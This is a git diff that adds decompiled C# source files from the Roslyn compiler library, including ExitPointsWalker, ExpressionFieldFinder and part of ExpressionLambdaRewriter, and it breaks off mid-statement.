diagnostics.Add(ErrorCode.ERR_BadIteratorArgType, current.GetFirstLocation()); + } + else if (current.Type.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_UnsafeIteratorArgType, current.GetFirstLocation()); + } + } + SynthesizedSimpleProgramEntryPointSymbol obj = iterator as SynthesizedSimpleProgramEntryPointSymbol; + Location val = (((object)obj != null) ? obj.ReturnTypeSyntax.GetLocation() : null) ?? iterator.GetFirstLocation(); + if (iterator.IsVararg) + { + diagnostics.Add(ErrorCode.ERR_VarargsIterator, val); + } + SourceMemberMethodSymbol obj2 = iterator as SourceMemberMethodSymbol; + if ((object)obj2 == null || !obj2.IsUnsafe) + { + LocalFunctionSymbol obj3 = iterator as LocalFunctionSymbol; + if ((object)obj3 == null || !obj3.IsUnsafe) + { + goto IL_00e6; + } + } + if (compilation.Options.AllowUnsafe) + { + diagnostics.Add(ErrorCode.ERR_IllegalInnerUnsafe, val); + } + goto IL_00e6; + IL_00e6: + TypeSymbol returnType = iterator.ReturnType; + RefKind refKind = iterator.RefKind; + if (InMethodBinder.GetIteratorElementTypeFromReturnType(compilation, refKind, returnType, val, diagnostics).IsDefault) + { + if ((int)refKind != 0) + { + Binder.Error(diagnostics, ErrorCode.ERR_BadIteratorReturnRef, val, iterator); + } + else if (!returnType.IsErrorType()) + { + Binder.Error(diagnostics, ErrorCode.ERR_BadIteratorReturn, val, iterator, returnType); + } + } + if (InMethodBinder.IsAsyncStreamInterface(compilation, refKind, returnType) && !iterator.IsAsync) + { + diagnostics.Add(ErrorCode.ERR_IteratorMustBeAsync, val, iterator, returnType); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExitPointsWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExitPointsWalker.cs new file mode 100644 index 0000000..60dcac4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExitPointsWalker.cs @@ -0,0 +1,160 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ExitPointsWalker : AbstractRegionControlFlowPass +{ + private readonly ArrayBuilder _labelsInside; + + private readonly ArrayBuilder _branchesOutOf; + + private ExitPointsWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + _labelsInside = new ArrayBuilder(); + _branchesOutOf = ArrayBuilder.GetInstance(); + } + + protected override void Free() + { + if (_branchesOutOf != null) + { + _branchesOutOf.Free(); + } + _labelsInside.Free(); + base.Free(); + } + + internal static ImmutableArray Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + { + ExitPointsWalker exitPointsWalker = new ExitPointsWalker(compilation, member, node, firstInRegion, lastInRegion); + try + { + return exitPointsWalker.Analyze(); + } + finally + { + exitPointsWalker.Free(); + } + } + + private ImmutableArray Analyze() + { + bool badRegion = false; + Scan(ref badRegion); + if (badRegion) + { + return ImmutableArray.Empty; + } + _branchesOutOf.Sort((Comparison)((StatementSyntax x, StatementSyntax y) => ((SyntaxNode)x).SpanStart - ((SyntaxNode)y).SpanStart)); + return _branchesOutOf.ToImmutable(); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + if (base.IsInside) + { + _labelsInside.Add(node.Label); + } + return base.VisitLabelStatement(node); + } + + public override BoundNode VisitDoStatement(BoundDoStatement node) + { + if (base.IsInside) + { + _labelsInside.Add((LabelSymbol)node.BreakLabel); + _labelsInside.Add((LabelSymbol)node.ContinueLabel); + } + return base.VisitDoStatement(node); + } + + public override BoundNode VisitForEachStatement(BoundForEachStatement node) + { + if (base.IsInside) + { + _labelsInside.Add((LabelSymbol)node.BreakLabel); + _labelsInside.Add((LabelSymbol)node.ContinueLabel); + } + return base.VisitForEachStatement(node); + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + if (base.IsInside) + { + _labelsInside.Add((LabelSymbol)node.BreakLabel); + _labelsInside.Add((LabelSymbol)node.ContinueLabel); + } + return base.VisitForStatement(node); + } + + public override BoundNode VisitWhileStatement(BoundWhileStatement node) + { + if (base.IsInside) + { + _labelsInside.Add((LabelSymbol)node.BreakLabel); + } + return base.VisitWhileStatement(node); + } + + protected override void EnterRegion() + { + base.EnterRegion(); + } + + protected override void LeaveRegion() + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + foreach (PendingBranch item in base.PendingBranches.AsEnumerable()) + { + if (item.Branch == null || !RegionContains(item.Branch.Syntax.Span)) + { + continue; + } + switch (item.Branch.Kind) + { + case BoundKind.GotoStatement: + if (_labelsInside.Contains(((BoundGotoStatement)item.Branch).Label)) + { + continue; + } + break; + case BoundKind.BreakStatement: + if (_labelsInside.Contains((LabelSymbol)((BoundBreakStatement)item.Branch).Label)) + { + continue; + } + break; + case BoundKind.ContinueStatement: + if (_labelsInside.Contains((LabelSymbol)((BoundContinueStatement)item.Branch).Label)) + { + continue; + } + break; + case BoundKind.ForEachStatement: + if (((BoundForEachStatement)item.Branch).AwaitOpt != null) + { + continue; + } + goto default; + default: + throw ExceptionUtilities.UnexpectedValue((object)item.Branch.Kind); + case BoundKind.ReturnStatement: + case BoundKind.YieldBreakStatement: + break; + case BoundKind.AwaitExpression: + case BoundKind.YieldReturnStatement: + case BoundKind.UsingStatement: + continue; + } + _branchesOutOf.Add((StatementSyntax)(object)item.Branch.Syntax); + } + base.LeaveRegion(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionFieldFinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionFieldFinder.cs new file mode 100644 index 0000000..ada38c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionFieldFinder.cs @@ -0,0 +1,78 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ExpressionFieldFinder : ExpressionVariableFinder +{ + private SourceMemberContainerTypeSymbol _containingType; + + private DeclarationModifiers _modifiers; + + private FieldSymbol _containingFieldOpt; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + internal static void FindExpressionVariables(ArrayBuilder builder, CSharpSyntaxNode node, SourceMemberContainerTypeSymbol containingType, DeclarationModifiers modifiers, FieldSymbol containingFieldOpt) + { + if (node != null) + { + ExpressionFieldFinder expressionFieldFinder = s_poolInstance.Allocate(); + expressionFieldFinder._containingType = containingType; + expressionFieldFinder._modifiers = modifiers; + expressionFieldFinder._containingFieldOpt = containingFieldOpt; + expressionFieldFinder.FindExpressionVariables(builder, node); + expressionFieldFinder._containingType = null; + expressionFieldFinder._modifiers = DeclarationModifiers.None; + expressionFieldFinder._containingFieldOpt = null; + s_poolInstance.Free(expressionFieldFinder); + } + } + + protected override Symbol MakePatternVariable(TypeSyntax type, SingleVariableDesignationSyntax designation, SyntaxNode nodeToBind) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (designation != null) + { + SourceMemberContainerTypeSymbol containingType = _containingType; + DeclarationModifiers modifiers = _modifiers; + SyntaxToken identifier = designation.Identifier; + return GlobalExpressionVariable.Create(containingType, modifiers, type, ((SyntaxToken)(ref identifier)).ValueText, (SyntaxNode)(object)designation, ((SyntaxNode)designation).Span, _containingFieldOpt, nodeToBind); + } + return null; + } + + protected override Symbol MakeDeclarationExpressionVariable(DeclarationExpressionSyntax node, SingleVariableDesignationSyntax designation, BaseArgumentListSyntax argumentListSyntaxOpt, SyntaxNode nodeToBind) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + SourceMemberContainerTypeSymbol containingType = _containingType; + DeclarationModifiers modifiers = _modifiers; + TypeSyntax type = node.Type; + SyntaxToken identifier = designation.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = designation.Identifier; + return GlobalExpressionVariable.Create(containingType, modifiers, type, valueText, (SyntaxNode)(object)designation, ((SyntaxToken)(ref identifier)).Span, _containingFieldOpt, nodeToBind); + } + + protected override Symbol MakeDeconstructionVariable(TypeSyntax closestTypeSyntax, SingleVariableDesignationSyntax designation, AssignmentExpressionSyntax deconstruction) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SourceMemberContainerTypeSymbol containingType = _containingType; + SyntaxToken identifier = designation.Identifier; + return GlobalExpressionVariable.Create(containingType, DeclarationModifiers.Private, closestTypeSyntax, ((SyntaxToken)(ref identifier)).ValueText, (SyntaxNode)(object)designation, ((SyntaxNode)designation).Span, null, (SyntaxNode)(object)deconstruction); + } + + public static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new ExpressionFieldFinder()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionLambdaRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionLambdaRewriter.cs new file mode 100644 index 0000000..f77b50d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionLambdaRewriter.cs @@ -0,0 +1,1062 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ExpressionLambdaRewriter +{ + private enum InitializerKind + { + Expression, + MemberInitializer, + CollectionInitializer + } + + private readonly SyntheticBoundNodeFactory _bound; + + private readonly TypeMap _typeMap; + + private readonly Dictionary _parameterMap = new Dictionary(); + + private readonly bool _ignoreAccessibility; + + private int _recursionDepth; + + private NamedTypeSymbol _ExpressionType; + + private NamedTypeSymbol _ParameterExpressionType; + + private NamedTypeSymbol _ElementInitType; + + private NamedTypeSymbol _MemberBindingType; + + private readonly NamedTypeSymbol _int32Type; + + private readonly NamedTypeSymbol _objectType; + + private readonly NamedTypeSymbol _nullableType; + + private NamedTypeSymbol _MemberInfoType; + + private readonly NamedTypeSymbol _IEnumerableType; + + private NamedTypeSymbol ExpressionType + { + get + { + if ((object)_ExpressionType == null) + { + _ExpressionType = _bound.WellKnownType((WellKnownType)216); + } + return _ExpressionType; + } + } + + private NamedTypeSymbol ParameterExpressionType + { + get + { + if ((object)_ParameterExpressionType == null) + { + _ParameterExpressionType = _bound.WellKnownType((WellKnownType)218); + } + return _ParameterExpressionType; + } + } + + private NamedTypeSymbol ElementInitType + { + get + { + if ((object)_ElementInitType == null) + { + _ElementInitType = _bound.WellKnownType((WellKnownType)219); + } + return _ElementInitType; + } + } + + public NamedTypeSymbol MemberBindingType + { + get + { + if ((object)_MemberBindingType == null) + { + _MemberBindingType = _bound.WellKnownType((WellKnownType)220); + } + return _MemberBindingType; + } + } + + private NamedTypeSymbol MemberInfoType + { + get + { + if ((object)_MemberInfoType == null) + { + _MemberInfoType = _bound.WellKnownType((WellKnownType)68); + } + return _MemberInfoType; + } + } + + private BindingDiagnosticBag Diagnostics => _bound.Diagnostics; + + private ExpressionLambdaRewriter(TypeCompilationState compilationState, TypeMap typeMap, SyntaxNode node, int recursionDepth, BindingDiagnosticBag diagnostics) + { + _bound = new SyntheticBoundNodeFactory(null, compilationState.Type, node, compilationState, diagnostics); + _ignoreAccessibility = compilationState.ModuleBuilderOpt.IgnoreAccessibility; + _int32Type = _bound.SpecialType((SpecialType)13); + _objectType = _bound.SpecialType((SpecialType)1); + _nullableType = _bound.SpecialType((SpecialType)32); + _IEnumerableType = _bound.SpecialType((SpecialType)25); + _typeMap = typeMap; + _recursionDepth = recursionDepth; + } + + internal static BoundNode RewriteLambda(BoundLambda node, TypeCompilationState compilationState, TypeMap typeMap, int recursionDepth, BindingDiagnosticBag diagnostics) + { + try + { + ExpressionLambdaRewriter expressionLambdaRewriter = new ExpressionLambdaRewriter(compilationState, typeMap, node.Syntax, recursionDepth, diagnostics); + BoundExpression boundExpression = expressionLambdaRewriter.VisitLambdaInternal(node); + if (!node.Type.Equals(boundExpression.Type, (TypeCompareKind)8)) + { + diagnostics.Add(ErrorCode.ERR_MissingPredefinedMember, node.Syntax.Location, expressionLambdaRewriter.ExpressionType, "Lambda"); + } + return boundExpression; + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + return node; + } + } + + private BoundExpression TranslateLambdaBody(BoundBlock block) + { + ImmutableArray.Enumerator enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement boundStatement = enumerator.Current; + while (boundStatement != null) + { + switch (boundStatement.Kind) + { + case BoundKind.ReturnStatement: + { + BoundExpression boundExpression = Visit(((BoundReturnStatement)boundStatement).ExpressionOpt); + if (boundExpression != null) + { + return boundExpression; + } + boundStatement = null; + break; + } + case BoundKind.ExpressionStatement: + return Visit(((BoundExpressionStatement)boundStatement).Expression); + case BoundKind.SequencePoint: + boundStatement = ((BoundSequencePoint)boundStatement).StatementOpt; + break; + case BoundKind.SequencePointWithSpan: + boundStatement = ((BoundSequencePointWithSpan)boundStatement).StatementOpt; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)boundStatement.Kind); + } + } + } + return null; + } + + private BoundExpression Visit(BoundExpression node) + { + if (node == null) + { + return null; + } + SyntaxNode syntax = _bound.Syntax; + _bound.Syntax = node.Syntax; + BoundExpression arg = VisitInternal(node); + _bound.Syntax = syntax; + return _bound.Convert(ExpressionType, arg); + } + + private BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + switch (node.Kind) + { + case BoundKind.ArrayAccess: + return VisitArrayAccess((BoundArrayAccess)node); + case BoundKind.ArrayCreation: + return VisitArrayCreation((BoundArrayCreation)node); + case BoundKind.ArrayLength: + return VisitArrayLength((BoundArrayLength)node); + case BoundKind.AsOperator: + return VisitAsOperator((BoundAsOperator)node); + case BoundKind.BaseReference: + return VisitBaseReference((BoundBaseReference)node); + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)node; + return VisitBinaryOperator(boundBinaryOperator.OperatorKind, boundBinaryOperator.Method, boundBinaryOperator.Type, boundBinaryOperator.Left, boundBinaryOperator.Right); + } + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = (BoundUserDefinedConditionalLogicalOperator)node; + return VisitBinaryOperator(boundUserDefinedConditionalLogicalOperator.OperatorKind, boundUserDefinedConditionalLogicalOperator.LogicalOperator, boundUserDefinedConditionalLogicalOperator.Type, boundUserDefinedConditionalLogicalOperator.Left, boundUserDefinedConditionalLogicalOperator.Right); + } + case BoundKind.Call: + return VisitCall((BoundCall)node); + case BoundKind.ConditionalOperator: + return VisitConditionalOperator((BoundConditionalOperator)node); + case BoundKind.Conversion: + return VisitConversion((BoundConversion)node); + case BoundKind.PassByCopy: + return Visit(((BoundPassByCopy)node).Expression); + case BoundKind.DelegateCreationExpression: + return VisitDelegateCreationExpression((BoundDelegateCreationExpression)node); + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)node; + if (boundFieldAccess.FieldSymbol.IsCapturedFrame) + { + return Constant(boundFieldAccess); + } + return VisitFieldAccess(boundFieldAccess); + } + case BoundKind.IsOperator: + return VisitIsOperator((BoundIsOperator)node); + case BoundKind.Lambda: + return VisitLambda((BoundLambda)node); + case BoundKind.NewT: + return VisitNewT((BoundNewT)node); + case BoundKind.NullCoalescingOperator: + return VisitNullCoalescingOperator((BoundNullCoalescingOperator)node); + case BoundKind.ObjectCreationExpression: + return VisitObjectCreationExpression((BoundObjectCreationExpression)node); + case BoundKind.Parameter: + return VisitParameter((BoundParameter)node); + case BoundKind.PointerIndirectionOperator: + return VisitPointerIndirectionOperator((BoundPointerIndirectionOperator)node); + case BoundKind.PointerElementAccess: + return VisitPointerElementAccess((BoundPointerElementAccess)node); + case BoundKind.PropertyAccess: + return VisitPropertyAccess((BoundPropertyAccess)node); + case BoundKind.SizeOfOperator: + return VisitSizeOfOperator((BoundSizeOfOperator)node); + case BoundKind.UnaryOperator: + return VisitUnaryOperator((BoundUnaryOperator)node); + case BoundKind.TypeOfOperator: + case BoundKind.MethodInfo: + case BoundKind.DefaultExpression: + case BoundKind.Literal: + case BoundKind.ThisReference: + case BoundKind.PreviousSubmissionReference: + case BoundKind.HostObjectMemberReference: + case BoundKind.Local: + return Constant(node); + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + } + + private BoundExpression VisitInternal(BoundExpression node) + { + _recursionDepth++; + BoundExpression result; + if (_recursionDepth > 1) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + result = VisitExpressionWithoutStackGuard(node); + } + else + { + result = VisitExpressionWithStackGuard(node); + } + _recursionDepth--; + return result; + } + + private BoundExpression VisitExpressionWithStackGuard(BoundExpression node) + { + try + { + return VisitExpressionWithoutStackGuard(node); + } + catch (InsufficientExecutionStackException inner) + { + throw new BoundTreeVisitor.CancelledByStackGuardException(inner, node); + } + } + + private BoundExpression VisitArrayAccess(BoundArrayAccess node) + { + BoundExpression boundExpression = Visit(node.Expression); + if (node.Indices.Length == 1) + { + BoundExpression boundExpression2 = node.Indices[0]; + BoundExpression boundExpression3 = Visit(boundExpression2); + if (!TypeSymbol.Equals(boundExpression3.Type, _int32Type, (TypeCompareKind)0)) + { + boundExpression3 = ConvertIndex(boundExpression3, boundExpression2.Type, _int32Type); + } + return ExprFactory("ArrayIndex", boundExpression, boundExpression3); + } + return ExprFactory("ArrayIndex", boundExpression, Indices(node.Indices)); + } + + private BoundExpression Indices(ImmutableArray expressions) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + BoundExpression boundExpression = Visit(current); + if (!TypeSymbol.Equals(boundExpression.Type, _int32Type, (TypeCompareKind)0)) + { + boundExpression = ConvertIndex(boundExpression, current.Type, _int32Type); + } + instance.Add(boundExpression); + } + return _bound.ArrayOrEmpty(ExpressionType, instance.ToImmutableAndFree()); + } + + private BoundExpression Expressions(ImmutableArray expressions) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(Visit(current)); + } + return _bound.ArrayOrEmpty(ExpressionType, instance.ToImmutableAndFree()); + } + + private BoundExpression VisitArrayCreation(BoundArrayCreation node) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)node.Type; + BoundExpression boundExpression = _bound.Typeof(arrayTypeSymbol.ElementType); + if (node.InitializerOpt != null) + { + if (arrayTypeSymbol.IsSZArray) + { + return ExprFactory("NewArrayInit", boundExpression, Expressions(node.InitializerOpt.Initializers)); + } + return new BoundBadExpression(node.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), ExpressionType); + } + return ExprFactory("NewArrayBounds", boundExpression, Expressions(node.Bounds)); + } + + private BoundExpression VisitArrayLength(BoundArrayLength node) + { + return ExprFactory("ArrayLength", Visit(node.Expression)); + } + + private BoundExpression VisitAsOperator(BoundAsOperator node) + { + if (node.Operand.IsLiteralNull() && (object)node.Operand.Type == null) + { + BoundExpression operand = _bound.Null(_bound.SpecialType((SpecialType)1)); + node = node.Update(operand, node.TargetType, node.OperandPlaceholder, node.OperandConversion, node.Type); + } + return ExprFactory("TypeAs", Visit(node.Operand), _bound.Typeof(node.Type)); + } + + private BoundExpression VisitBaseReference(BoundBaseReference node) + { + return new BoundBadExpression(node.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), ExpressionType); + } + + private static string GetBinaryOperatorName(BinaryOperatorKind opKind, MethodSymbol methodOpt, out bool isChecked, out bool isLifted, out bool requiresLifted) + { + isChecked = opKind.IsChecked(); + isLifted = opKind.IsLifted(); + requiresLifted = opKind.IsComparison(); + switch (opKind.Operator()) + { + case BinaryOperatorKind.Addition: + if (!useCheckedFactory(isChecked, methodOpt)) + { + return "Add"; + } + return "AddChecked"; + case BinaryOperatorKind.Multiplication: + if (!useCheckedFactory(isChecked, methodOpt)) + { + return "Multiply"; + } + return "MultiplyChecked"; + case BinaryOperatorKind.Subtraction: + if (!useCheckedFactory(isChecked, methodOpt)) + { + return "Subtract"; + } + return "SubtractChecked"; + case BinaryOperatorKind.Division: + return "Divide"; + case BinaryOperatorKind.Remainder: + return "Modulo"; + case BinaryOperatorKind.And: + if (!opKind.IsLogical()) + { + return "And"; + } + return "AndAlso"; + case BinaryOperatorKind.Xor: + return "ExclusiveOr"; + case BinaryOperatorKind.Or: + if (!opKind.IsLogical()) + { + return "Or"; + } + return "OrElse"; + case BinaryOperatorKind.LeftShift: + return "LeftShift"; + case BinaryOperatorKind.RightShift: + return "RightShift"; + case BinaryOperatorKind.Equal: + return "Equal"; + case BinaryOperatorKind.NotEqual: + return "NotEqual"; + case BinaryOperatorKind.LessThan: + return "LessThan"; + case BinaryOperatorKind.LessThanOrEqual: + return "LessThanOrEqual"; + case BinaryOperatorKind.GreaterThan: + return "GreaterThan"; + case BinaryOperatorKind.GreaterThanOrEqual: + return "GreaterThanOrEqual"; + default: + throw ExceptionUtilities.UnexpectedValue((object)opKind.Operator()); + } + static bool useCheckedFactory(bool flag, MethodSymbol methodSymbol) + { + if (!flag) + { + if ((object)methodSymbol != null) + { + string name = methodSymbol.Name; + if (name != null) + { + return SyntaxFacts.IsCheckedOperator(name); + } + } + return false; + } + return true; + } + } + + private BoundExpression VisitBinaryOperator(BinaryOperatorKind opKind, MethodSymbol methodOpt, TypeSymbol type, BoundExpression left, BoundExpression right) + { + bool isChecked; + bool isLifted; + bool requiresLifted; + string binaryOperatorName = GetBinaryOperatorName(opKind, methodOpt, out isChecked, out isLifted, out requiresLifted); + if ((object)left.Type == null && left.IsLiteralNull()) + { + left = _bound.Default(right.Type); + } + if ((object)right.Type == null && right.IsLiteralNull()) + { + right = _bound.Default(left.Type); + } + BinaryOperatorKind binaryOperatorKind = opKind.OperandTypes(); + if ((uint)(binaryOperatorKind - 20) <= 2u) + { + BoundExpression boundExpression = ((opKind.OperandTypes() == BinaryOperatorKind.UnderlyingAndEnum) ? right : left); + TypeSymbol typeSymbol = PromotedType(boundExpression.Type.StrippedType().GetEnumUnderlyingType()); + if (opKind.IsLifted()) + { + typeSymbol = _nullableType.Construct(typeSymbol); + } + BoundExpression loweredLeft = VisitAndPromoteEnumOperand(left, typeSymbol, isChecked); + BoundExpression loweredRight = VisitAndPromoteEnumOperand(right, typeSymbol, isChecked); + BoundExpression node = MakeBinary(methodOpt, type, isLifted, requiresLifted, binaryOperatorName, loweredLeft, loweredRight); + return Demote(node, type, isChecked); + } + BoundExpression loweredLeft2 = Visit(left); + BoundExpression loweredRight2 = Visit(right); + return MakeBinary(methodOpt, type, isLifted, requiresLifted, binaryOperatorName, loweredLeft2, loweredRight2); + } + + private static BoundExpression DemoteEnumOperand(BoundExpression operand) + { + if (operand.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)operand; + if (!boundConversion.ConversionKind.IsUserDefinedConversion() && boundConversion.ConversionKind.IsImplicitConversion() && boundConversion.ConversionKind != ConversionKind.NullLiteral && boundConversion.Type.StrippedType().IsEnumType()) + { + operand = boundConversion.Operand; + } + } + return operand; + } + + private BoundExpression VisitAndPromoteEnumOperand(BoundExpression operand, TypeSymbol promotedType, bool isChecked) + { + if (operand is BoundLiteral boundLiteral) + { + return Constant(boundLiteral.Update(boundLiteral.ConstantValueOpt, promotedType)); + } + BoundExpression node = DemoteEnumOperand(operand); + BoundExpression operand2 = Visit(node); + return Convert(operand2, operand.Type, promotedType, isChecked, isExplicit: false); + } + + private BoundExpression MakeBinary(MethodSymbol methodOpt, TypeSymbol type, bool isLifted, bool requiresLifted, string opName, BoundExpression loweredLeft, BoundExpression loweredRight) + { + if ((object)methodOpt != null) + { + if (!requiresLifted) + { + return ExprFactory(opName, loweredLeft, loweredRight, _bound.MethodInfo(methodOpt)); + } + return ExprFactory(opName, loweredLeft, loweredRight, _bound.Literal(isLifted && !TypeSymbol.Equals(methodOpt.ReturnType, type, (TypeCompareKind)0)), _bound.MethodInfo(methodOpt)); + } + return ExprFactory(opName, loweredLeft, loweredRight); + } + + private TypeSymbol PromotedType(TypeSymbol underlying) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if ((int)underlying.SpecialType == 7) + { + return underlying; + } + SpecialType enumPromotedType = Binder.GetEnumPromotedType(underlying.SpecialType); + if (enumPromotedType == underlying.SpecialType) + { + return underlying; + } + return _bound.SpecialType(enumPromotedType); + } + + private BoundExpression Demote(BoundExpression node, TypeSymbol type, bool isChecked) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + if (type is NamedTypeSymbol namedTypeSymbol) + { + if ((int)namedTypeSymbol.StrippedType().TypeKind == 5) + { + return Convert(node, type, isChecked); + } + if (!TypeSymbol.Equals(namedTypeSymbol.IsNullableType() ? _nullableType.Construct(PromotedType(namedTypeSymbol.GetNullableUnderlyingType())) : PromotedType(namedTypeSymbol), type, (TypeCompareKind)0)) + { + return Convert(node, type, isChecked); + } + } + return node; + } + + private BoundExpression ConvertIndex(BoundExpression expr, TypeSymbol oldType, TypeSymbol newType) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)Diagnostics, _bound.Compilation.Assembly); + ConversionKind kind = _bound.Compilation.Conversions.ClassifyConversionFromType(oldType, newType, isChecked: false, ref useSiteInfo).Kind; + ((BindingDiagnosticBag)(object)Diagnostics).AddDependencies(useSiteInfo); + return kind switch + { + ConversionKind.Identity => expr, + ConversionKind.ExplicitNumeric => Convert(expr, newType, isChecked: true), + _ => Convert(expr, _int32Type, isChecked: false), + }; + } + + private BoundExpression VisitCall(BoundCall node) + { + if (node.IsDelegateCall) + { + return ExprFactory("Invoke", Visit(node.ReceiverOpt), Expressions(node.Arguments)); + } + MethodSymbol method = node.Method; + return ExprFactory("Call", method.RequiresInstanceReceiver ? Visit(node.ReceiverOpt) : _bound.Null(ExpressionType), _bound.MethodInfo(method), Expressions(node.Arguments)); + } + + private BoundExpression VisitConditionalOperator(BoundConditionalOperator node) + { + BoundExpression boundExpression = Visit(node.Condition); + BoundExpression boundExpression2 = VisitExactType(node.Consequence); + BoundExpression boundExpression3 = VisitExactType(node.Alternative); + return ExprFactory("Condition", boundExpression, boundExpression2, boundExpression3); + } + + private BoundExpression VisitExactType(BoundExpression e) + { + if (e is BoundConversion { ExplicitCastInCode: false } boundConversion) + { + e = boundConversion.Update(boundConversion.Operand, boundConversion.Conversion, boundConversion.IsBaseConversion, boundConversion.Checked, explicitCastInCode: true, conversionGroupOpt: boundConversion.ConversionGroupOpt, constantValueOpt: boundConversion.ConstantValueOpt, type: boundConversion.Type); + } + return Visit(e); + } + + private BoundExpression VisitConversion(BoundConversion node) + { + switch (node.ConversionKind) + { + case ConversionKind.MethodGroup: + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)node.Operand; + return DelegateCreation(boundMethodGroup.ReceiverOpt, node.SymbolOpt, node.Type, !node.SymbolOpt.RequiresInstanceReceiver && !node.IsExtensionMethod); + } + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + case ConversionKind.IntPtr: + { + MethodSymbol symbolOpt = node.SymbolOpt; + TypeSymbol? type2 = node.Operand.Type; + TypeSymbol left = type2.StrippedType(); + TypeSymbol type3 = symbolOpt.Parameters[0].Type; + bool num = !TypeSymbol.Equals(type2, type3, (TypeCompareKind)0) && TypeSymbol.Equals(left, type3, (TypeCompareKind)0); + bool flag = !TypeSymbol.Equals(left, (node.ConversionKind == ConversionKind.ExplicitUserDefined) ? type3 : type3.StrippedType(), (TypeCompareKind)0); + TypeSymbol typeSymbol = ((num && symbolOpt.ReturnType.IsNonNullableValueType() && node.Type.IsNullableType()) ? _nullableType.Construct(symbolOpt.ReturnType) 